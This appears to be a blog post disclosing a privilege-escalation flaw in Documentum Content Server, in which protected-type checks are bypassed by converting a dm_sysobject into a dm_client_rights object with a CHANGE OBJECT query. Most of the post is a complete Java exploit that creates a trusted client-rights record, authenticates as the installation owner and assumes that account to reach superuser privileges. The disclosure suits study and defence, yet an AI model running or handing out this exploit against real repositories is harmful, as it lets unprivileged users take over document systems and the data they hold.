documentum security vulnerabilities: protected objects

In the most cases non-privileged users are restricted to create objects of certain types, for example, if user is able to create dm_method object, he is able to gain superuser privileges through execution of corresponding method, so Content Server puts additional checks for user’s privileges before creating objects of certain types:

Session id is s0
API> create,c,dm_method
...
1001ffd780095581
API> save,c,l
...
[DM_METHOD_E_NEED_PRIV_FOR_CHANGE]error:  "The current user (op1tp1) needs to 
     have superuser or sysadmin privilege to save or destroy  dm_method object."

API> ?,c,create dm_method object set object_name='test'
[DM_QUERY_F_UP_SAVE]fatal:  "UPDATE:  An error has occurred during a save operation."

[DM_METHOD_E_NEED_PRIV_FOR_CHANGE]error:  "The current user (op1tp1) needs to have 
       superuser or sysadmin privilege to save or destroy test dm_method object."

The problem is “creation of object” does mean “execution of create object statement”, and user is able to “create” object of required type through execution “change object” statement if both old and new types share the same type tag, as, for example, dm_sysobject and dm_client_rights types do:

package com.documentum.fc.client.security.impl;

import static java.lang.System.out;

import com.documentum.fc.client.DfClient;
import com.documentum.fc.client.DfQuery;
import com.documentum.fc.client.IDfACL;
import com.documentum.fc.client.IDfCollection;
import com.documentum.fc.client.IDfQuery;
import com.documentum.fc.client.IDfSession;
import com.documentum.fc.client.IDfSessionManager;
import com.documentum.fc.client.IDfSysObject;
import com.documentum.fc.client.privilege.internal.IClientRegistration;
import com.documentum.fc.client.privilege.internal.IClientRights;
import com.documentum.fc.client.security.internal.IPublicIdentity;
import com.documentum.fc.common.DfId;
import com.documentum.fc.common.DfList;
import com.documentum.fc.common.DfLoginInfo;
import com.documentum.fc.common.IDfList;
import com.documentum.fc.common.IDfLoginInfo;

public class Test {

    public static void main(String argv[]) throws Exception {
        String docbase = argv[0];
        String username = argv[1];
        String password = argv[2];
        String domain = null;
        if (argv.length == 4) {
            domain = argv[3];
        }

        IDfSessionManager sessionManager = new DfClient().newSessionManager();
        IDfLoginInfo loginInfo = new DfLoginInfo(username, password);
        if (domain != null) {
            loginInfo.setDomain(domain);
        }
        sessionManager.setIdentity(docbase, loginInfo);
        out.println("Connecting to docbase '" + docbase + "' as '" + username
                + "'");
        IDfSession session = sessionManager.getSession(docbase);
        out.println("Connected");
        IPublicIdentity publicIdentity = new PublicIdentity();
        out.println("Checking dm_client_registration for dfc: "
                + publicIdentity.getIdentity());
        IClientRegistration clientRegistration = IpAndRcHelper.getRegistration(
                publicIdentity, session);
        if (clientRegistration == null) {
            out.println("dm_client_registration for dfc '"
                    + publicIdentity.getIdentity()
                    + "' does not exist, creating...");
            String publicKeyIdentifier = IpAndRcHelper
                    .createNewCertificateObjectIfNeeded(publicIdentity, session);
            clientRegistration = (IClientRegistration) session
                    .newObject("dm_client_registration");
            RegAndItsAcl dbData = new RegAndItsAcl();
            dbData.reg = clientRegistration;
            dbData.acl = (IDfACL) session.newObject("dm_acl");
            dbData.acl = IpAndRcHelper
                    .fillAndSaveACLForClientRegistration(dbData.acl);
            IpAndRcHelper.fillAndSaveClientRegistration(dbData.reg,
                    publicIdentity, publicKeyIdentifier, dbData.acl);
        } else {
            out.println("dm_client_registration for dfc: "
                    + publicIdentity.getIdentity() + " exists");
        }
        out.println("Checking dm_client_rights for dfc: "
                + publicIdentity.getIdentity());
        IClientRights clientRights = (IClientRights) session
                .getObjectByQualification("dm_client_rights where client_id='"
                        + publicIdentity.getIdentity() + "'");
        if (clientRights != null) {
            out.println("dm_client_rights object for dfc: "
                    + publicIdentity.getIdentity() + " exists, exiting");
            return;
        }
        out.println("dm_client_rights object for dfc: "
                + publicIdentity.getIdentity() + " does not exist, creating");
        IDfSysObject tempObject = (IDfSysObject) session
                .newObject("dm_sysobject");
        tempObject.save();
        IDfQuery query = new DfQuery("CHANGE dm_sysobject OBJECT "
                + "TO dm_client_rights SET object_name='"
                + clientRegistration.getObjectName() + "', "
                + "SET client_id='" + publicIdentity.getIdentity() + "', "
                + "SET public_key_identifier='"
                + clientRegistration.getPublicKeyIdentifier() + "', "
                + "SET host_name='" + clientRegistration.getHostName()
                + "', SET allow_all_roles=TRUE, "
                + "SET allow_all_priv_modules=TRUE, "
                + "SET principal_auth_priv=TRUE, "
                + "SET server_trust_priv=TRUE WHERE r_object_id='"
                + tempObject.getObjectId().getId() + "'");
        IDfCollection collection = query.execute(session, IDfQuery.EXEC_QUERY);
        boolean created = false;
        if (collection != null && collection.next()) {
            out.println("Object changed: "
                    + collection.getInt("objects_changed"));
            if (collection.getInt("objects_changed") > 0) {
                created = true;
            }
        }
        if (collection != null) {
            collection.close();
        }
        if (!created) {
            out.println("Unable to create dm_client_rights object");
            return;
        }
        String installationOwner = session.getServerConfig().getString(
                "r_install_owner");
        out.println("Reconnecting as " + installationOwner + " ...");
        IDfList arguments = new DfList(new String[] {"CONNECT_POOLING",
            "ASSUME_USER", "CHECK_ONLY", "AUTHENTICATE_ONLY", "OS_LOGON_NAME",
            "LOGON_NAME", "TRUSTED_LOGIN_ALLOWED", });
        IDfList types = new DfList(new String[] {"B", "B", "B", "B", "S", "S",
            "B", });
        IDfList values = new DfList(new String[] {"F", "T", "F", "F",
            installationOwner, installationOwner, "T", });
        collection = session.apply(DfId.DF_NULLID_STR, "AUTHENTICATE_USER",
                arguments, types, values);
        if (collection != null && collection.next()) {
            if (collection.getInt("RETURN_VALUE") != 1) {
                out.println("Unable to authenticate as " + installationOwner);
                return;
            }
            session.assume(new DfLoginInfo(installationOwner, session
                    .getLoginTicketForUser(installationOwner)));
            out.println("Checking whether we are a superuser...");
            IDfSysObject serverConfig = (IDfSysObject) session
                    .getServerConfig();
            out.println("Permissions for dm_server_config: "
                    + serverConfig.getPermit());
        }
        if (collection != null) {
            collection.close();
        }
    }
}

One thought on “documentum security vulnerabilities: protected objects

  1. Pingback: Is it possible to compromise Documentum by deleting object? Typical mistakes | Documentum in a (nuts)HELL

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s